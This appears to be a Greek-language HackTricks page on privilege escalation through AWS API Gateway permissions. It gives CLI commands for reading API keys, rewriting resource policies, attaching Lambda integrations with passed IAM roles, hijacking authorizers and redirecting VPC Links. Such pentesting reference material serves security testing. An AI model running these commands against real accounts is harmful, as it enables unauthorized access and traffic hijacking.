AWS - Apigateway Privesc

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Apigateway

Για περισσότερες πληροφορίες ελέγξτε:

AWS - API Gateway Enum

apigateway:POST

Με αυτήν την άδεια μπορείτε να δημιουργήσετε κλειδιά API για τις διαμορφωμένες APIs (ανά περιοχή).

aws --region <region> apigateway create-api-key

Πιθανή Επίδραση: Δεν μπορείτε να πραγματοποιήσετε προνόμια αυξημένων δικαιωμάτων με αυτήν την τεχνική, αλλά ενδέχεται να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:GET

Με αυτήν την άδεια μπορείτε να λάβετε τα δημιουργημένα κλειδιά API των παραμετροποιημένων API (ανά περιοχή).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Πιθανή Επίδραση: Δεν μπορείτε να πραγματοποιήσετε προνόμια προνομιούχου με αυτήν την τεχνική, αλλά ενδέχεται να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Με αυτές τις άδειες είναι δυνατή η τροποποίηση της πολιτικής πόρων ενός API για να δώσετε στον εαυτό σας πρόσβαση για να το καλέσετε και να καταχραστείτε την πιθανή πρόσβαση που μπορεί να έχει το API gateway (όπως η εκκίνηση ενός ευάλωτου λάμδα).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Πιθανή Επίπτωση: Συνήθως, δεν θα μπορέσετε να κάνετε άμεση αύξηση προνομίων με αυτήν την τεχνική, αλλά ενδέχεται να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Απαιτείται δοκιμή

Ένας επιτιθέμενος με τα δικαιώματα apigateway:PutIntegration, apigateway:CreateDeployment και iam:PassRole μπορεί να προσθέσει μια νέα ενσωμάτωση σε ένα υπάρχον API Gateway REST API με μια συνάρτηση Lambda που έχει συνδεδεμένο ένα ρόλο IAM. Ο επιτιθέμενος μπορεί στη συνέχεια να ενεργοποιήσει τη συνάρτηση Lambda για να εκτελέσει αυθαίρετο κώδικα και ενδεχομένως να αποκτήσει πρόσβαση στους πόρους που σχετίζονται με τον ρόλο IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανή Επίπτωση: Πρόσβαση σε πόρους που σχετίζονται με τον ρόλο IAM της Lambda λειτουργίας.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Απαιτείται δοκιμή

Ένας επιτιθέμενος με τις άδειες apigateway:UpdateAuthorizer και apigateway:CreateDeployment μπορεί να τροποποιήσει έναν υπάρχοντα ελεγκτή του API Gateway για να παρακάμψει τους ελέγχους ασφαλείας ή να εκτελέσει αυθαίρετο κώδικα όταν γίνονται αιτήσεις στο API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανή Επίπτωση: Παράκαμψη ελέγχων ασφαλείας, μη εξουσιοδοτημένη πρόσβαση σε πόρους του API.

Απαιτείται δοκιμή

Ένας επιτιθέμενος με την άδεια apigateway:UpdateVpcLink μπορεί να τροποποιήσει ένα υπάρχον VPC Link για να δείχνει σε ένα διαφορετικό Network Load Balancer, πιθανώς ανακατευθύνοντας την κυκλοφορία του ιδιωτικού API σε μη εξουσιοδοτημένους ή κακόβουλους πόρους.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Πιθανή Επίπτωση: Μη εξουσιοδοτημένη πρόσβαση σε ιδιωτικούς πόρους του API, παρεμπόδιση ή διακοπή της κίνησης του API.

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated